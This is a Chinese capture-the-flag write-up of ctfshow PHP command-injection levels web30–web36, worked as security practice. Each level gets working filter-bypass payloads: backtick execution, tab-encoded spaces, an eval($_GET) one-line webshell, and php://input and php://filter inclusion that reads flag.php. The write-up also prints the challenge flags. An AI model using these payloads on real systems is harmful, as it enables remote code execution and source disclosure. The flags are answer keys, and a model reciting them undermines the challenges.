目录
命令执行,需要严格的过滤
1、web30
代码差不多,就是过滤的东西变多了:
preg_match("/flag|system|php/i", $c)
这里不让用 system ,我们用上一道题的方法使用反引号执行命令,构造 payload:
?c=echo `ls`;
读取 flag:
?c=echo `cat f*`;
查看源码:
拿到 flag:ctfshow{de6eb951-84e4-4a10-82ae-bb93787f2f9a}
其他的绕过方法就不再像第一题那样赘述了,我们继续下一题。
2、web31
preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)
这里主要新增了对 cat 、点、单引号、空格的过滤:
cat 可以使用 tac 代替或者使用 rev 反向输出;
点和单引号我压根用不到所以不影响;
空格使用 URL编码的 %09 代替。
先列出文件,构造 payload:
?c=echo%09`ls`;
执行成功
读取 flag,构造 payload:
?c=echo%09`tac%09f*`;
拿到 flag:ctfshow{34ab0674-d667-4bf3-aa63-e7f43b0a6c65}
当然,其实对于空格的处理方式还有很多,我相信后面我们会介绍到的。
我一般习惯自己做了再参考它的 wp,这样可以学到不同的方法和思路:
利用无参数函数 ,payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
看一下 chatgpt 的解释:
scandir(pos(localeconv())): 这个函数调用 scandir() 用于扫描目录,pos(localeconv()) 返回当前本地化设置的符号。这段代码的目的是扫描某个目录下的文件和目录。
array_reverse(): 这个函数用于将数组中的元素倒序排列。在这里它被应用在 scandir() 的返回值上,意味着文件和目录列表将会以相反的顺序返回。
next(): 这个函数用于将数组的内部指针向前移动并返回当前元素的值。在这里它似乎是用于获取数组的下一个元素。
show_source(): 这个函数用于输出文件的源代码。这个代码的意图似乎是扫描某个目录下的文件和目录,然后将它们倒序排列,并尝试显示它们中的下一个文件的源代码。
此外,在网上还看到了另一个骚操作,payload:
?c=eval($_GET[1]);&1=system('tac flag.php');
类似弄了个一句话木马 ,并且参数 1 后面的内容不受正则匹配的影响。
3、web32
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)
这里把反引号、echo、分号、左括号都过滤了,我们使用 php 伪协议。
首先看一下当前目录下的文件,构造 payload:
php
?c=include$_GET["1"]?>&1=php://input
这里的 ?> 是为了闭合前面的 php 语句,因为分号被过滤了,所以只能使用这个,后面另一参数 1 传入的内容不受正则匹配的影响。
post 写入我们想要执行的 php 代码即可:
php
<?php system('ls');?>
读取 flag.php:
php
<?php system('tac flag.php');?>
当然,我们也可以直接使用 php://filter 协议进行源码读取:
php
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
base64 解码:
或者换一种编码方式输出就不需要解码了:
bash
?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
拿到 flag:ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}
4、web33
bash
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)
过滤新增了双引号,去掉上一题的 payload 中变量的双引号即可:
bash
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
flag:ctfshow{f1725a2e-1816-4401-845e-5690e1f8a209}
5、web34
新增过滤冒号,不过对上一题的 payload 不影响,直接上:
bash
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
拿到 flag:ctfshow{1dbf17bf-857e-4f2c-be34-b9a99eab8480}
6、web35
新增过滤小于号和等号,我们用到的是大于号,因此依旧用前面文件包含的 payload 来打:
bash
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
拿到 flag:ctfshow{dd218453-ee10-4d4c-ad85-d7b4a7bb0c7c}
7、web36
新增过滤斜杠和数字 0-9,我们使用字母来传参即可:
bash
?c=include$_GET[a]?>&a=php://filter/convert.iconv.utf8.utf16/resource=flag.php
拿到 flag:ctfshow{6d9aeca5-db5e-4740-959a-87abc8ee756b}